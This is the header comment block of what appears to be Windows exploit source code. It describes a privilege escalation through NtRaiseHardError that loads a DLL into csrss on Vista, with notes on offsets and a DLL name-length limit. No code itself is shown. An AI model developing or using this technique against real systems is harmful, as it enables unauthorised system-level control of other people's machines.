//exploit NtRaiseHardError privesc and load dll into csrss
//this version only is vista, other version can be worked
//with proper offsets, i will complete them soon
//imperfect but sometime work, ok for proto type;)
//dll limit to 8 chars but maybe can work around by
//xxx..dll type trick and use LoadLibraryW, now is
//C:TEST but another drive maybe work
